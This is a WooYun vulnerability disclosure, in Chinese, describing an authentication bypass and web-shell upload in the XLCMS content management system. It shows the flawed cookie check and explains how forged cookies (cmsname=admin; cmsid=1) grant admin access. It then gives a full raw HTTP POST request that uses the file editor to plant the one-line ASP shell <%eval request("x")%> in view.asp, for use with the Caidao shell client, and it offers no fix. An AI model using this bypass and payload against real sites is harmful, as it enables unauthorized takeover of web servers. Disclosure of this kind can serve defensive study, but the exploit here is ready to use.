当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086555

漏洞标题:XLCMS后台绕过登陆+Getshell

相关厂商:XLCMS

漏洞作者: 浅蓝

提交时间:2014-12-10 16:44

修复时间:2015-03-10 16:46

公开时间:2015-03-10 16:46

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

XLCMS后台绕过登陆+Getshell

详细说明:

http://www.ycxl.net/
XLCMS官网
随便拿了一个网站的后台 弱口令登陆 发现有文件管理功能
顺便看了看后台登陆的代码

<!-- #include file="check.asp" -->


包含了check.asp
再去看看check.asp

<!--#include file="../inc/md5.asp"--><%
'判断用户是否登陆
if session("cmsname")="" and instr(CStr(Request.ServerVariables("SCRIPT_NAME")),site_install&AdminPath&"/login.asp")=0 then
if request.Cookies("cmsname")="" then
response.Redirect(site_install&AdminPath&"/login.asp")
elseif Session("admin_id") =null then
Response.Write("<script>alert('登陆超时!');parent.location = '"&site_install&AdminPath&"/login.asp';</script>")
else
session("cmsname")=request.Cookies("cmsname")
session("cmsid")=request.Cookies("cmsid")
end if
end if
%>


有木有发现只对cmsid 和cmsname 做了验证
我们再来看下登陆后的cookie

Cookie: ASPSESSIONIDSCCRCATR=BCCEHNEADCDFDGOAPCCDMLNM; CNZZDATA3143027=cnzz_eid%3D1585179978-1400986404-%26ntime%3D1400986404%26cnzz_a%3D0%26ltime%3D1400986403525; cmsname=admin; cmsid=1


cmsname=admin; cmsid=1 没有password(密码)
。。。。设计这个程序的程序员,应该拖出去斩了
Cmsname= 就是管理员的用户名
Cmsid= 就是管理员的id
通常 用户名都为 admin 管理员的id 肯定是1了
如果管理员的账号不是默认的admin呢? 没关系,随便找一个新闻看作者的名称

58@$7}2TM`H09AV$J$X2{R3.jpg


我们现在来构造cookie

cmsname=admin; cmsid=1


用火狐浏览器的firebug插件改一下cookie

(7]K[]CFU@X76~%8O@~X[H3.jpg


_2PIQ]WC@8B{D[4R9IS1WLP.jpg


这时我们再访问/admin/index.asp 验证成功啊有木有
Getshell
用以下数据包提交 (把 *** 换成xlcms的网站就行)

POST /admin/wj.asp?Action=editfile&folder=..&url=../view.asp HTTP/1.1Host: ************Proxy-Connection: keep-aliveContent-Length: 709Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://*****User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0Content-Type: application/x-www-form-urlencodedReferer: http://********/admin/wj.asp?Action=editfile&folder=..&url=../view.aspAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: cmsname=admin; cmsid=1
url=..%2Fview.asp&folder=..&dpost=ok&content=%3C%21--%23include+file%3D%22inc%2Fconn.asp%22--%3E%0D%0A%3C%21--%23include+file%3D%22inc%2FLabelFunction.asp%22--%3E%0D%0A%3C%25%0D%0Aclassid%3Dconn.execute%28%22select+classid+from+cms_article+where+id+%3D+%22%26getnum%28%22id%22%29%29%280%29%0D%0Aset+rs+%3D+conn.execute%28%22select+template_view_id+from+cms_class+where+id+%3D+%22%26classid%29%0D%0Aset+aa+%3D+new+art_list%0D%0Aaa.templateurl%3DGetTemplate%284%2Crs%280%29%29%0D%0Aaa.templateaid%3Dgetnum%28%22id%22%29%0D%0Aaa.templatecid%3Dclassid%0D%0Aaa.templateapage%3Dgetnum%28%22apage%22%29%0D%0Astr%3Daa.tag%28%29%0D%0Aresponse.Write+str%0D%0A%25%3E%0D%0A%0D%0A%3C%25eval+request%28%22x%22%29%25%3E


提交后就会在网站根目录下的view.asp文件加上 一句<%eval request("x")%>
用菜刀连接http://****/view.asp 密码为“x”。

5$}48LK])4@1NQ@K@6F0XFN.jpg


C}%T%~X2D9_W065Y6W_@X2W.jpg

漏洞证明:

C}%T%~X2D9_W065Y6W_@X2W.jpg

修复方案:

i don't know

版权声明:转载请注明来源 浅蓝@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝